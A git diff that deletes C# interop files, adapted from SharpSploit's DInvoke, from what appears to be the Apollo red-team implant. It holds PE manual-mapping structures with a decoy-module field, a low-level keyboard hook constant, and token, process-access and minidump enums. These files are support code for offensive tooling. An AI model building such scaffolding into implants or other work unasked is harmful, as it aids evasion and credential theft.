- public struct IMAGE_FILE_HEADER - { - public UInt16 Machine; - public UInt16 NumberOfSections; - public UInt32 TimeDateStamp; - public UInt32 PointerToSymbolTable; - public UInt32 NumberOfSymbols; - public UInt16 SizeOfOptionalHeader; - public UInt16 Characteristics; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_SECTION_HEADER - { - [FieldOffset(0)] - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public char[] Name; - [FieldOffset(8)] - public UInt32 VirtualSize; - [FieldOffset(12)] - public UInt32 VirtualAddress; - [FieldOffset(16)] - public UInt32 SizeOfRawData; - [FieldOffset(20)] - public UInt32 PointerToRawData; - [FieldOffset(24)] - public UInt32 PointerToRelocations; - [FieldOffset(28)] - public UInt32 PointerToLinenumbers; - [FieldOffset(32)] - public UInt16 NumberOfRelocations; - [FieldOffset(34)] - public UInt16 NumberOfLinenumbers; - [FieldOffset(36)] - public DataSectionFlags Characteristics; - - public string Section - { - get { return new string(Name); } - } - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_EXPORT_DIRECTORY - { - [FieldOffset(0)] - public UInt32 Characteristics; - [FieldOffset(4)] - public UInt32 TimeDateStamp; - [FieldOffset(8)] - public UInt16 MajorVersion; - [FieldOffset(10)] - public UInt16 MinorVersion; - [FieldOffset(12)] - public UInt32 Name; - [FieldOffset(16)] - public UInt32 Base; - [FieldOffset(20)] - public UInt32 NumberOfFunctions; - [FieldOffset(24)] - public UInt32 NumberOfNames; - [FieldOffset(28)] - public UInt32 AddressOfFunctions; - [FieldOffset(32)] - public UInt32 AddressOfNames; - [FieldOffset(36)] - public UInt32 AddressOfOrdinals; - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PE_META_DATA - { - public UInt32 Pe; - public Boolean Is32Bit; - public IMAGE_FILE_HEADER ImageFileHeader; - public IMAGE_OPTIONAL_HEADER32 OptHeader32; - public IMAGE_OPTIONAL_HEADER64 OptHeader64; - public IMAGE_SECTION_HEADER[] Sections; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PE_MANUAL_MAP - { - public String DecoyModule; - public IntPtr ModuleBase; - public PE_META_DATA PEINFO; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_THUNK_DATA32 - { - [FieldOffset(0)] - public UInt32 ForwarderString; - [FieldOffset(0)] - public UInt32 Function; - [FieldOffset(0)] - public UInt32 Ordinal; - [FieldOffset(0)] - public UInt32 AddressOfData; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_THUNK_DATA64 - { - [FieldOffset(0)] - public UInt64 ForwarderString; - [FieldOffset(0)] - public UInt64 Function; - [FieldOffset(0)] - public UInt64 Ordinal; - [FieldOffset(0)] - public UInt64 AddressOfData; - } - - // API_SET_NAMESPACE_ARRAY - [StructLayout(LayoutKind.Explicit)] - public struct ApiSetNamespace - { - [FieldOffset(0x0C)] - public int Count; - - [FieldOffset(0x10)] - public int EntryOffset; - } - - // API_SET_NAMESPACE_ENTRY - [StructLayout(LayoutKind.Explicit)] - public struct ApiSetNamespaceEntry - { - [FieldOffset(0x04)] - public int NameOffset; - - [FieldOffset(0x08)] - public int NameLength; - - [FieldOffset(0x10)] - public int ValueOffset; - - [FieldOffset(0x14)] - public int ValueLength; - } - - // API_SET_VALUE_ENTRY - [StructLayout(LayoutKind.Explicit)] - public struct ApiSetValueEntry - { - [FieldOffset(0x00)] - public int Flags; - - [FieldOffset(0x04)] - public int NameOffset; - - [FieldOffset(0x08)] - public int NameCount; - - [FieldOffset(0x0C)] - public int ValueOffset; - - [FieldOffset(0x10)] - public int ValueCount; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LDR_DATA_TABLE_ENTRY - { - public Data.Native.LIST_ENTRY InLoadOrderLinks; - public Data.Native.LIST_ENTRY InMemoryOrderLinks; - public Data.Native.LIST_ENTRY InInitializationOrderLinks; - public IntPtr DllBase; - public IntPtr EntryPoint; - public UInt32 SizeOfImage; - public Data.Native.UNICODE_STRING FullDllName; - public Data.Native.UNICODE_STRING BaseDllName; - } - }//end class -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/Win32.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/Win32.cs deleted file mode 100644 index e4bd0175..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/Win32.cs +++ /dev/null @@ -1,967 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Runtime.InteropServices; - -namespace DInvokeResolver.DInvoke.Data -{ - /// - /// Win32 is a library of enums and structures for Win32 API functions. - /// - /// - /// A majority of this library is adapted from signatures found at www.pinvoke.net. - /// - public static class Win32 - { - public static class Kernel32 - { - public static uint MEM_COMMIT = 0x1000; - public static uint MEM_RESERVE = 0x2000; - public static uint MEM_RESET = 0x80000; - public static uint MEM_RESET_UNDO = 0x1000000; - public static uint MEM_LARGE_PAGES = 0x20000000; - public static uint MEM_PHYSICAL = 0x400000; - public static uint MEM_TOP_DOWN = 0x100000; - public static uint MEM_WRITE_WATCH = 0x200000; - public static uint MEM_COALESCE_PLACEHOLDERS = 0x1; - public static uint MEM_PRESERVE_PLACEHOLDER = 0x2; - public static uint MEM_DECOMMIT = 0x4000; - public static uint MEM_RELEASE = 0x8000; - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; - public uint TimeDateStamp; - public uint ForwarderChain; - public uint Name; - public uint FirstThunk; - } - - public struct SYSTEM_INFO - { - public ushort wProcessorArchitecture; - public ushort wReserved; - public uint dwPageSize; - public IntPtr lpMinimumApplicationAddress; - public IntPtr lpMaximumApplicationAddress; - public UIntPtr dwActiveProcessorMask; - public uint dwNumberOfProcessors; - public uint dwProcessorType; - public uint dwAllocationGranularity; - public ushort wProcessorLevel; - public ushort wProcessorRevision; - }; - - public enum Platform - { - x86, - x64, - IA64, - Unknown - } - - [Flags] - public enum ProcessAccessFlags : UInt32 - { - // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - PROCESS_ALL_ACCESS = 0x001F0FFF, - PROCESS_CREATE_PROCESS = 0x0080, - PROCESS_CREATE_THREAD = 0x0002, - PROCESS_DUP_HANDLE = 0x0040, - PROCESS_QUERY_INFORMATION = 0x0400, - PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, - PROCESS_SET_INFORMATION = 0x0200, - PROCESS_SET_QUOTA = 0x0100, - PROCESS_SUSPEND_RESUME = 0x0800, - PROCESS_TERMINATE = 0x0001, - PROCESS_VM_OPERATION = 0x0008, - PROCESS_VM_READ = 0x0010, - PROCESS_VM_WRITE = 0x0020, - SYNCHRONIZE = 0x00100000 - } - - [Flags] - public enum FileAccessFlags : UInt32 - { - DELETE = 0x10000, - FILE_READ_DATA = 0x1, - FILE_READ_ATTRIBUTES = 0x80, - FILE_READ_EA = 0x8, - READ_CONTROL = 0x20000, - FILE_WRITE_DATA = 0x2, - FILE_WRITE_ATTRIBUTES = 0x100, - FILE_WRITE_EA = 0x10, - FILE_APPEND_DATA = 0x4, - WRITE_DAC = 0x40000, - WRITE_OWNER = 0x80000, - SYNCHRONIZE = 0x100000, - FILE_EXECUTE = 0x20 - } - - [Flags] - public enum FileShareFlags : UInt32 - { - FILE_SHARE_NONE = 0x0, - FILE_SHARE_READ = 0x1, - FILE_SHARE_WRITE = 0x2, - FILE_SHARE_DELETE = 0x4 - } - - [Flags] - public enum FileOpenFlags : UInt32 - { - FILE_DIRECTORY_FILE = 0x1, - FILE_WRITE_THROUGH = 0x2, - FILE_SEQUENTIAL_ONLY = 0x4, - FILE_NO_INTERMEDIATE_BUFFERING = 0x8, - FILE_SYNCHRONOUS_IO_ALERT = 0x10, - FILE_SYNCHRONOUS_IO_NONALERT = 0x20, - FILE_NON_DIRECTORY_FILE = 0x40, - FILE_CREATE_TREE_CONNECTION = 0x80, - FILE_COMPLETE_IF_OPLOCKED = 0x100, - FILE_NO_EA_KNOWLEDGE = 0x200, - FILE_OPEN_FOR_RECOVERY = 0x400, - FILE_RANDOM_ACCESS = 0x800, - FILE_DELETE_ON_CLOSE = 0x1000, - FILE_OPEN_BY_FILE_ID = 0x2000, - FILE_OPEN_FOR_BACKUP_INTENT = 0x4000, - FILE_NO_COMPRESSION = 0x8000 - } - - [Flags] - public enum StandardRights : uint - { - Delete = 0x00010000, - ReadControl = 0x00020000, - WriteDac = 0x00040000, - WriteOwner = 0x00080000, - Synchronize = 0x00100000, - Required = 0x000f0000, - Read = ReadControl, - Write = ReadControl, - Execute = ReadControl, - All = 0x001f0000, - - SpecificRightsAll = 0x0000ffff, - AccessSystemSecurity = 0x01000000, - MaximumAllowed = 0x02000000, - GenericRead = 0x80000000, - GenericWrite = 0x40000000, - GenericExecute = 0x20000000, - GenericAll = 0x10000000 - } - - [Flags] - public enum ThreadAccess : uint - { - Terminate = 0x0001, - SuspendResume = 0x0002, - Alert = 0x0004, - GetContext = 0x0008, - SetContext = 0x0010, - SetInformation = 0x0020, - QueryInformation = 0x0040, - SetThreadToken = 0x0080, - Impersonate = 0x0100, - DirectImpersonation = 0x0200, - SetLimitedInformation = 0x0400, - QueryLimitedInformation = 0x0800, - All = StandardRights.Required | StandardRights.Synchronize | 0x3ff - } - } - - public static class User32 - { - public static int WH_KEYBOARD_LL { get; } = 13; - public static int WM_KEYDOWN { get; } = 0x0100; - - public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); - } - - public static class Netapi32 - { - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct LOCALGROUP_USERS_INFO_0 - { - [MarshalAs(UnmanagedType.LPWStr)] internal string name; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LOCALGROUP_USERS_INFO_1 - { - [MarshalAs(UnmanagedType.LPWStr)] public string name; - [MarshalAs(UnmanagedType.LPWStr)] public string comment; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct LOCALGROUP_MEMBERS_INFO_2 - { - public IntPtr lgrmi2_sid; - public int lgrmi2_sidusage; - [MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct WKSTA_USER_INFO_1 - { - public string wkui1_username; - public string wkui1_logon_domain; - public string wkui1_oth_domains; - public string wkui1_logon_server; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct SESSION_INFO_10 - { - public string sesi10_cname; - public string sesi10_username; - public int sesi10_time; - public int sesi10_idle_time; - } - - public enum SID_NAME_USE : UInt16 - { - SidTypeUser = 1, - SidTypeGroup = 2, - SidTypeDomain = 3, - SidTypeAlias = 4, - SidTypeWellKnownGroup = 5, - SidTypeDeletedAccount = 6, - SidTypeInvalid = 7, - SidTypeUnknown = 8, - SidTypeComputer = 9 - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct SHARE_INFO_1 - { - public string shi1_netname; - public uint shi1_type; - public string shi1_remark; - - public SHARE_INFO_1(string netname, uint type, string remark) - { - this.shi1_netname = netname; - this.shi1_type = type; - this.shi1_remark = remark; - } - } - } - - public static class Advapi32 - { - - // http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken - public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; - public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; - public const UInt32 TOKEN_DUPLICATE = 0x0002; - public const UInt32 TOKEN_IMPERSONATE = 0x0004; - public const UInt32 TOKEN_QUERY = 0x0008; - public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; - public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; - public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; - public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; - public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | - TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | - TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | - TOKEN_ADJUST_SESSIONID); - public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); - - // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx - [Flags] - public enum CREATION_FLAGS : uint - { - NONE = 0x00000000, - DEBUG_PROCESS = 0x00000001, - DEBUG_ONLY_THIS_PROCESS = 0x00000002, - CREATE_SUSPENDED = 0x00000004, - DETACHED_PROCESS = 0x00000008, - CREATE_NEW_CONSOLE = 0x00000010, - NORMAL_PRIORITY_CLASS = 0x00000020, - IDLE_PRIORITY_CLASS = 0x00000040, - HIGH_PRIORITY_CLASS = 0x00000080, - REALTIME_PRIORITY_CLASS = 0x00000100, - CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_UNICODE_ENVIRONMENT = 0x00000400, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SHARED_WOW_VDM = 0x00001000, - CREATE_FORCEDOS = 0x00002000, - BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, - ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, - INHERIT_PARENT_AFFINITY = 0x00010000, - INHERIT_CALLER_PRIORITY = 0x00020000, - CREATE_PROTECTED_PROCESS = 0x00040000, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000, - PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, - PROCESS_MODE_BACKGROUND_END = 0x00200000, - CREATE_BREAKAWAY_FROM_JOB = 0x01000000, - CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, - CREATE_NO_WINDOW = 0x08000000, - PROFILE_USER = 0x10000000, - PROFILE_KERNEL = 0x20000000, - PROFILE_SERVER = 0x40000000, - CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000 - } - - [Flags] - public enum LOGON_FLAGS - { - NONE = 0x00000000, - LOGON_WITH_PROFILE = 0x00000001, - LOGON_NETCREDENTIALS_ONLY = 0x00000002 - } - - public enum LOGON_TYPE - { - LOGON32_LOGON_INTERACTIVE = 2, - LOGON32_LOGON_NETWORK, - LOGON32_LOGON_BATCH, - LOGON32_LOGON_SERVICE, - LOGON32_LOGON_UNLOCK = 7, - LOGON32_LOGON_NETWORK_CLEARTEXT, - LOGON32_LOGON_NEW_CREDENTIALS - } - - public enum LOGON_PROVIDER - { - LOGON32_PROVIDER_DEFAULT, - LOGON32_PROVIDER_WINNT35, - LOGON32_PROVIDER_WINNT40, - LOGON32_PROVIDER_WINNT50 - } - - [Flags] - public enum SCM_ACCESS : uint - { - SC_MANAGER_CONNECT = 0x00001, - SC_MANAGER_CREATE_SERVICE = 0x00002, - SC_MANAGER_ENUMERATE_SERVICE = 0x00004, - SC_MANAGER_LOCK = 0x00008, - SC_MANAGER_QUERY_LOCK_STATUS = 0x00010, - SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020, - - SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED | - SC_MANAGER_CONNECT | - SC_MANAGER_CREATE_SERVICE | - SC_MANAGER_ENUMERATE_SERVICE | - SC_MANAGER_LOCK | - SC_MANAGER_QUERY_LOCK_STATUS | - SC_MANAGER_MODIFY_BOOT_CONFIG, - - GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ | - SC_MANAGER_ENUMERATE_SERVICE | - SC_MANAGER_QUERY_LOCK_STATUS, - - GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE | - SC_MANAGER_CREATE_SERVICE | - SC_MANAGER_MODIFY_BOOT_CONFIG, - - GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE | - SC_MANAGER_CONNECT | SC_MANAGER_LOCK, - - GENERIC_ALL = SC_MANAGER_ALL_ACCESS, - } - - [Flags] - public enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - STANDARD_RIGHTS_READ = 0x00020000, - STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - STANDARD_RIGHTS_ALL = 0x001F0000, - SPECIFIC_RIGHTS_ALL = 0x0000FFFF, - ACCESS_SYSTEM_SECURITY = 0x01000000, - MAXIMUM_ALLOWED = 0x02000000, - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - WINSTA_ALL_ACCESS = 0x0000037F - } - - [Flags] - public enum SERVICE_ACCESS : uint - { - SERVICE_QUERY_CONFIG = 0x00001, - SERVICE_CHANGE_CONFIG = 0x00002, - SERVICE_QUERY_STATUS = 0x00004, - SERVICE_ENUMERATE_DEPENDENTS = 0x00008, - SERVICE_START = 0x00010, - SERVICE_STOP = 0x00020, - SERVICE_PAUSE_CONTINUE = 0x00040, - SERVICE_INTERROGATE = 0x00080, - SERVICE_USER_DEFINED_CONTROL = 0x00100, - - SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED | - SERVICE_QUERY_CONFIG | - SERVICE_CHANGE_CONFIG | - SERVICE_QUERY_STATUS | - SERVICE_ENUMERATE_DEPENDENTS | - SERVICE_START | - SERVICE_STOP | - SERVICE_PAUSE_CONTINUE | - SERVICE_INTERROGATE | - SERVICE_USER_DEFINED_CONTROL), - - GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ | - SERVICE_QUERY_CONFIG | - SERVICE_QUERY_STATUS | - SERVICE_INTERROGATE | - SERVICE_ENUMERATE_DEPENDENTS, - - GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE | - SERVICE_CHANGE_CONFIG, - - GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE | - SERVICE_START | - SERVICE_STOP | - SERVICE_PAUSE_CONTINUE | - SERVICE_USER_DEFINED_CONTROL, - - ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY, - DELETE = ACCESS_MASK.DELETE, - READ_CONTROL = ACCESS_MASK.READ_CONTROL, - WRITE_DAC = ACCESS_MASK.WRITE_DAC, - WRITE_OWNER = ACCESS_MASK.WRITE_OWNER, - } - - [Flags] - public enum SERVICE_TYPE : uint - { - SERVICE_KERNEL_DRIVER = 0x00000001, - SERVICE_FILE_SYSTEM_DRIVER = 0x00000002, - SERVICE_WIN32_OWN_PROCESS = 0x00000010, - SERVICE_WIN32_SHARE_PROCESS = 0x00000020, - SERVICE_INTERACTIVE_PROCESS = 0x00000100, - } - - public enum SERVICE_START : uint - { - SERVICE_BOOT_START = 0x00000000, - SERVICE_SYSTEM_START = 0x00000001, - SERVICE_AUTO_START = 0x00000002, - SERVICE_DEMAND_START = 0x00000003, - SERVICE_DISABLED = 0x00000004, - } - - public enum SERVICE_ERROR - { - SERVICE_ERROR_IGNORE = 0x00000000, - SERVICE_ERROR_NORMAL = 0x00000001, - SERVICE_ERROR_SEVERE = 0x00000002, - SERVICE_ERROR_CRITICAL = 0x00000003, - } - } - - public static class Dbghelp - { - public enum MINIDUMP_TYPE - { - MiniDumpNormal = 0x00000000, - MiniDumpWithDataSegs = 0x00000001, - MiniDumpWithFullMemory = 0x00000002, - MiniDumpWithHandleData = 0x00000004, - MiniDumpFilterMemory = 0x00000008, - MiniDumpScanMemory = 0x00000010, - MiniDumpWithUnloadedModules = 0x00000020, - MiniDumpWithIndirectlyReferencedMemory = 0x00000040, - MiniDumpFilterModulePaths = 0x00000080, - MiniDumpWithProcessThreadData = 0x00000100, - MiniDumpWithPrivateReadWriteMemory = 0x00000200, - MiniDumpWithoutOptionalData = 0x00000400, - MiniDumpWithFullMemoryInfo = 0x00000800, - MiniDumpWithThreadInfo = 0x00001000, - MiniDumpWithCodeSegs = 0x00002000, - MiniDumpWithoutAuxiliaryState = 0x00004000, - MiniDumpWithFullAuxiliaryState = 0x00008000, - MiniDumpWithPrivateWriteCopyMemory = 0x00010000, - MiniDumpIgnoreInaccessibleMemory = 0x00020000, - MiniDumpWithTokenInformation = 0x00040000, - MiniDumpWithModuleHeaders = 0x00080000, - MiniDumpFilterTriage = 0x00100000, - MiniDumpValidTypeFlags = 0x001fffff - } - } - - public class WinBase - { - [StructLayout(LayoutKind.Sequential)] - public struct _SYSTEM_INFO - { - public UInt16 wProcessorArchitecture; - public UInt16 wReserved; - public UInt32 dwPageSize; - public IntPtr lpMinimumApplicationAddress; - public IntPtr lpMaximumApplicationAddress; - public IntPtr dwActiveProcessorMask; - public UInt32 dwNumberOfProcessors; - public UInt32 dwProcessorType; - public UInt32 dwAllocationGranularity; - public UInt16 wProcessorLevel; - public UInt16 wProcessorRevision; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _SECURITY_ATTRIBUTES - { - UInt32 nLength; - IntPtr lpSecurityDescriptor; - Boolean bInheritHandle; - }; - } - - public class WinNT - { - public const UInt32 PAGE_NOACCESS = 0x01; - public const UInt32 PAGE_READONLY = 0x02; - public const UInt32 PAGE_READWRITE = 0x04; - public const UInt32 PAGE_WRITECOPY = 0x08; - public const UInt32 PAGE_EXECUTE = 0x10; - public const UInt32 PAGE_EXECUTE_READ = 0x20; - public const UInt32 PAGE_EXECUTE_READWRITE = 0x40; - public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80; - public const UInt32 PAGE_GUARD = 0x100; - public const UInt32 PAGE_NOCACHE = 0x200; - public const UInt32 PAGE_WRITECOMBINE = 0x400; - public const UInt32 PAGE_TARGETS_INVALID = 0x40000000; - public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000; - - public const UInt32 SEC_COMMIT = 0x08000000; - public const UInt32 SEC_IMAGE = 0x1000000; - public const UInt32 SEC_IMAGE_NO_EXECUTE = 0x11000000; - public const UInt32 SEC_LARGE_PAGES = 0x80000000; - public const UInt32 SEC_NOCACHE = 0x10000000; - public const UInt32 SEC_RESERVE = 0x4000000; - public const UInt32 SEC_WRITECOMBINE = 0x40000000; - - public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; - public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; - public const UInt32 SE_PRIVILEGE_REMOVED = 0x4; - public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; - - public const UInt64 SE_GROUP_ENABLED = 0x00000004L; - public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; - public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; - public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; - public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; - public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; - public const UInt64 SE_GROUP_MANDATORY = 0x00000001L; - public const UInt64 SE_GROUP_OWNER = 0x00000008L; - public const UInt64 SE_GROUP_RESOURCE = 0x20000000L; - public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; - - public enum _SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - public enum TOKEN_TYPE - { - TokenPrimary = 1, - TokenImpersonation - } - - public enum _TOKEN_ELEVATION_TYPE - { - TokenElevationTypeDefault = 1, - TokenElevationTypeFull, - TokenElevationTypeLimited - } - - [StructLayout(LayoutKind.Sequential)] - public struct _MEMORY_BASIC_INFORMATION32 - { - public UInt32 BaseAddress; - public UInt32 AllocationBase; - public UInt32 AllocationProtect; - public UInt32 RegionSize; - public UInt32 State; - public UInt32 Protect; - public UInt32 Type; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _MEMORY_BASIC_INFORMATION64 - { - public UInt64 BaseAddress; - public UInt64 AllocationBase; - public UInt32 AllocationProtect; - public UInt32 __alignment1; - public UInt64 RegionSize; - public UInt32 State; - public UInt32 Protect; - public UInt32 Type; - public UInt32 __alignment2; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID_AND_ATTRIBUTES - { - public _LUID Luid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID - { - public UInt32 LowPart; - public UInt32 HighPart; - - public static implicit operator ulong(_LUID luid) - { - // enable casting to a ulong - UInt64 Value = ((UInt64)luid.HighPart << 32); - return Value + luid.LowPart; - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_STATISTICS - { - public _LUID TokenId; - public _LUID AuthenticationId; - public UInt64 ExpirationTime; - public TOKEN_TYPE TokenType; - public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; - public UInt32 DynamicCharged; - public UInt32 DynamicAvailable; - public UInt32 GroupCount; - public UInt32 PrivilegeCount; - public _LUID ModifiedId; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES - { - public UInt32 PrivilegeCount; - public _LUID_AND_ATTRIBUTES Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_MANDATORY_LABEL - { - public _SID_AND_ATTRIBUTES Label; - } - - public struct _SID - { - public byte Revision; - public byte SubAuthorityCount; - public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public ulong[] SubAuthority; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _SID_IDENTIFIER_AUTHORITY - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] - public byte[] Value; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _SID_AND_ATTRIBUTES - { - public IntPtr Sid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _PRIVILEGE_SET - { - public UInt32 PrivilegeCount; - public UInt32 Control; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public _LUID_AND_ATTRIBUTES[] Privilege; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_USER - { - public _SID_AND_ATTRIBUTES User; - } - - public enum _SID_NAME_USE - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer, - SidTypeLabel - } - - public enum _TOKEN_INFORMATION_CLASS - { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - MaxTokenInfoClass - } - - // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK - [Flags] - public enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - STANDARD_RIGHTS_READ = 0x00020000, - 